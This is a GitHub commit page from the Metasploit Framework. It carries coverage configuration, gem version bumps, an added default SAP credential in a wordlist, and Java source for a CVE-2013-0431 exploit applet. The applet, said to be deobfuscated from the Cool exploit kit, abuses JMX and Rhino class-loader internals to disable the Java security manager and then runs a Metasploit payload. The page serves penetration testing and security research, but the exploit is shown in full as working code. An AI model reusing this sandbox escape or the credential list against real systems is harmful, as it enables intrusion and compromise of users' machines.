Skip to content

Commit a74b576

Browse files
committed
Merge branch 'rapid7' into rsmudge-authproxyhttpstager
2 parents 1cc49f7 + c0689a7 commit a74b576

File tree

272 files changed

+6269
-1667
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

272 files changed

+6269
-1667
lines changed

.simplecov

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is
2+
# controlled by running with coverage, so don't explicitly start coverage (and
3+
# therefore generate a report) when in Rubymine. This _will_ generate a report
4+
# whenever `rake spec` is run.
5+
unless ENV['RM_INFO']
6+
SimpleCov.start
7+
end
8+
9+
SimpleCov.configure do
10+
# ignore this file
11+
add_filter '.simplecov'
12+
13+
#
14+
# Changed Files in Git Group
15+
# @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only
16+
#
17+
18+
untracked = `git ls-files --exclude-standard --others`
19+
unstaged = `git diff --name-only`
20+
staged = `git diff --name-only --cached`
21+
all = untracked + unstaged + staged
22+
changed_filenames = all.split("\n")
23+
24+
add_group 'Changed' do |source_file|
25+
changed_filenames.detect { |changed_filename|
26+
source_file.filename.end_with?(changed_filename)
27+
}
28+
end
29+
30+
#
31+
# Framework (msf) related groups
32+
#
33+
34+
add_group 'Metasploit Framework', 'lib/msf'
35+
add_group 'Metasploit Framework (Base)', 'lib/msf/base'
36+
add_group 'Metasploit Framework (Core)', 'lib/msf/core'
37+
38+
#
39+
# Other library groups
40+
#
41+
42+
add_group 'Fastlib', 'lib/fastlib'
43+
add_group 'Metasm', 'lib/metasm'
44+
add_group 'PacketFu', 'lib/packetfu'
45+
add_group 'Rex', 'lib/rex'
46+
add_group 'RKelly', 'lib/rkelly'
47+
add_group 'Ruby Mysql', 'lib/rbmysql'
48+
add_group 'Ruby Postgres', 'lib/postgres'
49+
add_group 'SNMP', 'lib/snmp'
50+
add_group 'Zip', 'lib/zip'
51+
52+
#
53+
# Specs are reported on to ensure that all examples are being run and all
54+
# lets, befores, afters, etc are being used.
55+
#
56+
57+
add_group 'Specs', 'spec'
58+
end

Gemfile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ gem 'activerecord'
77
# Needed for some admin modules (scrutinizer_add_user.rb)
88
gem 'json'
99
# Database models shared between framework and Pro.
10-
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.4.0'
10+
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.5.1'
1111
# Needed by msfgui and other rpc components
1212
gem 'msgpack'
1313
# Needed by anemone crawler

Gemfile.lock

Lines changed: 14 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
11
GIT
22
remote: git://github.com/rapid7/metasploit_data_models.git
3-
revision: 448c1065329efea1eac76a3897f626f122666743
4-
tag: 0.4.0
3+
revision: 1e3e0c2effb8e1bb6cec9683b830e4244babf706
4+
tag: 0.5.1
55
specs:
6-
metasploit_data_models (0.4.0)
6+
metasploit_data_models (0.5.1)
77
activerecord (>= 3.2.10)
88
activesupport
99
pg
@@ -12,33 +12,33 @@ GIT
1212
GEM
1313
remote: http://rubygems.org/
1414
specs:
15-
activemodel (3.2.11)
16-
activesupport (= 3.2.11)
15+
activemodel (3.2.12)
16+
activesupport (= 3.2.12)
1717
builder (~> 3.0.0)
18-
activerecord (3.2.11)
19-
activemodel (= 3.2.11)
20-
activesupport (= 3.2.11)
18+
activerecord (3.2.12)
19+
activemodel (= 3.2.12)
20+
activesupport (= 3.2.12)
2121
arel (~> 3.0.2)
2222
tzinfo (~> 0.3.29)
23-
activesupport (3.2.11)
23+
activesupport (3.2.12)
2424
i18n (~> 0.6)
2525
multi_json (~> 1.0)
2626
arel (3.0.2)
2727
builder (3.0.4)
28-
coderay (1.0.8)
28+
coderay (1.0.9)
2929
diff-lcs (1.1.3)
30-
i18n (0.6.1)
30+
i18n (0.6.4)
3131
json (1.7.7)
3232
method_source (0.8.1)
3333
msgpack (0.5.2)
3434
multi_json (1.0.4)
3535
nokogiri (1.5.6)
3636
pcaprub (0.11.3)
3737
pg (0.14.1)
38-
pry (0.9.10)
38+
pry (0.9.12)
3939
coderay (~> 1.0.5)
4040
method_source (~> 0.8)
41-
slop (~> 3.3.1)
41+
slop (~> 3.4)
4242
rake (10.0.2)
4343
redcarpet (2.2.2)
4444
robots (0.10.1)
@@ -54,7 +54,7 @@ GEM
5454
multi_json (~> 1.0.3)
5555
simplecov-html (~> 0.5.3)
5656
simplecov-html (0.5.3)
57-
slop (3.3.3)
57+
slop (3.4.3)
5858
tzinfo (0.3.35)
5959
yard (0.8.3)
6060

data/exploits/cve-2013-0431/B.class

619 Bytes
Binary file not shown.
2.68 KB
Binary file not shown.
1.48 KB
Binary file not shown.

data/sql/migrate/20110610085000_move_old_imported_creds_to_new_files.rb

Lines changed: 0 additions & 127 deletions
This file was deleted.

data/wordlists/sap_default.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@ SAPCPIC ADMIN
66
EARLYWATCH SUPPORT
77
TMSADM PASSWORD
88
TMSADM ADMIN
9+
TMSADM $1Pawd2&
910
ADMIN welcome
1011
ADSUSER ch4ngeme
1112
ADS_AGENT ch4ngeme
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
import java.security.AccessController;
2+
import java.security.PrivilegedExceptionAction;
3+
4+
public class B
5+
implements PrivilegedExceptionAction
6+
{
7+
public B()
8+
{
9+
try
10+
{
11+
AccessController.doPrivileged(this); } catch (Exception e) {
12+
}
13+
}
14+
15+
public Object run() {
16+
System.setSecurityManager(null);
17+
return new Object();
18+
}
19+
}
Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
/*
2+
* From Paunch with love (Java 1.7.0_11 Exploit)
3+
*
4+
* Deobfuscated from Cool EK by SecurityObscurity
5+
*
6+
* https://twitter.com/SecObscurity
7+
*/
8+
import java.applet.Applet;
9+
import com.sun.jmx.mbeanserver.Introspector;
10+
import com.sun.jmx.mbeanserver.JmxMBeanServer;
11+
import com.sun.jmx.mbeanserver.MBeanInstantiator;
12+
import java.lang.invoke.MethodHandle;
13+
import java.lang.invoke.MethodHandles.Lookup;
14+
import java.lang.invoke.MethodType;
15+
import java.lang.reflect.InvocationTargetException;
16+
import java.lang.reflect.Method;
17+
import javax.management.ReflectionException;
18+
import java.io.*;
19+
import metasploit.Payload;
20+
21+
public class Exploit extends Applet
22+
{
23+
24+
public void init()
25+
{
26+
27+
try
28+
{
29+
int length;
30+
byte[] buffer = new byte[5000];
31+
ByteArrayOutputStream os = new ByteArrayOutputStream();
32+
33+
// read in the class file from the jar
34+
InputStream is = getClass().getResourceAsStream("B.class");
35+
36+
// and write it out to the byte array stream
37+
while( ( length = is.read( buffer ) ) > 0 )
38+
os.write( buffer, 0, length );
39+
40+
// convert it to a simple byte array
41+
buffer = os.toByteArray();
42+
43+
Class class1 = gimmeClass("sun.org.mozilla.javascript.internal.Context");
44+
45+
Method method = getMethod(class1, "enter", true);
46+
Object obj = method.invoke(null, new Object[0]);
47+
Method method1 = getMethod(class1, "createClassLoader", false);
48+
Object obj1 = method1.invoke(obj, new Object[1]);
49+
50+
Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
51+
Method method2 = getMethod(class2, "defineClass", false);
52+
53+
Class my_class = (Class)method2.invoke(obj1, new Object[] { null, buffer });
54+
my_class.newInstance();
55+
56+
Payload.main(null);
57+
58+
}
59+
catch (Throwable localThrowable){}
60+
61+
}
62+
63+
64+
private Method getMethod(Class class1, String s, boolean flag)
65+
{
66+
try {
67+
Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods");
68+
Method[] amethod1 = amethod;
69+
70+
for (int i = 0; i < amethod1.length; i++) {
71+
Method method = amethod1[i];
72+
String s1 = method.getName();
73+
Class[] aclass = method.getParameterTypes();
74+
if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method;
75+
}
76+
} catch (Exception localException) { }
77+
78+
return null;
79+
}
80+
81+
private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException
82+
{
83+
Object obj = null;
84+
JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true);
85+
MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator();
86+
87+
Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator");
88+
Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class });
89+
return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj });
90+
}
91+
92+
}
93+

0 commit comments

Comments
 (0)